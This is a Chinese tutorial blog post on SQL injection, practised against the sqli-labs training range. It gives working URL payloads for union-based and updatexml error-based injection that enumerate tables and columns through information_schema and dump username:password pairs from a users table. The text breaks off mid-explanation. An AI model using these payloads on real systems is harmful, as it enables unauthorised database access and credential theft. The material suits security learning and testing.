2024年网络安全最新【Web安全】SQL各类注入与绕过

本文详细介绍了多种SQL注入方式,包括联合查询注入、报错注入、堆叠注入等,阐述了其原理、操作步骤及常用函数。还介绍了HTTP头部注入、二次注入、宽字节注入等特殊注入类型,最后讲解了SQL注入过滤与绕过的多种方法,如双写绕过、内联注释绕过等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

?id=2’ and ‘1’='1 判断有没有括号,因为有括号的话整体是1
剩下就是一些加单引号、双引号、括号、大括号,百分号的过程了,大括号和百分号比较少见。


刷sql-labs-master靶场习惯了就容易判断了。


闭合完成之后可以干嘛?当然是构造payload,例如(先不管它是做什么的):


select \* from database where id=‘1’ and updatexml(1,concat(‘~’,substr((select group\_concat(username,0x3a,password) from users),1,100)),3) --+’


其中我们输入的内容是:**1’ and updatexml(1,concat(‘~’,substr((select group\_concat(username,0x3a,password) from users),1,100)),3) --+**


总之,url后面是字符,那么可能就是字符型注入,url后面是数字,可能是字符型也可能是数字型,这需要测试。



4. 联合查询注入

联合查询的原理是利用了数据库的联合操作,将两个或多个查询的结果合并到一个结果集中。当注入成功时,原始查询和额外的查询的结果会合并在一起返回给应用程序,进而显示在页面上。

判断完闭合之后就是构造payload了,具体步骤就是获取表名、列名和数据,而这一节讲的联合查询的具体步骤就是:

  • 判断有多少列,使用order by,这个关键字的作用是根据某一列进行排序,假设只有三列,你想要根据第四列排序,但是没有第四列呀!这就会报错或者说是不显示数据。
?id=1' order by 3 -- #

在这里插入图片描述

  • 判断回显位union select,回显位是啥?查询操作将两个或多个查询的结果合并到一个结果集中。当注入成功时,原始查询和额外的查询的结果会合并在一起返回给应用程序,进而显示在页面上。当然要是的前者返回为空才会显示第二个查询的数据。之后页面会显示会显示是哪一个,进而在那一个数进行操作即可。
?id=-1' union select 1,2,3 -- #

在这里插入图片描述

  • 获取表名,为什么不先获取数据名呢?因为可以使用database()函数代替:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- #

group_concat()函数是将里面的多个行整合为一行即一个字符串,information_schema见这里,简单看一下column_name、table_name、table_schema对选取条件有帮助的就行。

  • 获取列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'-- #

  • 获取数据
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users -- #

在这里插入图片描述

5. 报错注入

报错注入的定义就是利用了数据库的某一些机制,人为制造错误的条件,并且将查询结果附在报错信息之中,前提是有报错信息,查询php代码可知通常是print_r(mysql_error())。常见的报错函数有:floor、updatexml、extractvalue等。

  • updatexml语法:三个参数,第一个string格式为XML对象的名称内容,第二个是Xpath格式,xpath差不多就是一个位置,第三个参数为更新的内容,如果第二个参数不是xpath格式则会报错。
  • extractvalue语法:两个参数,第一个是string格式为xml文档对象的名称,第二个是xpath格式,报错原理也一样。

来看sqli-labs-master第一关,确定好闭合方式之后:

  • 获取表名:
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

  • 获取列名:
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) --+

  • 获取数据
?id=1' and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3) --+

其中concat()函数为连接函数,连接波浪号和查询信息,波浪号常常使用0x7e代替,substr

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值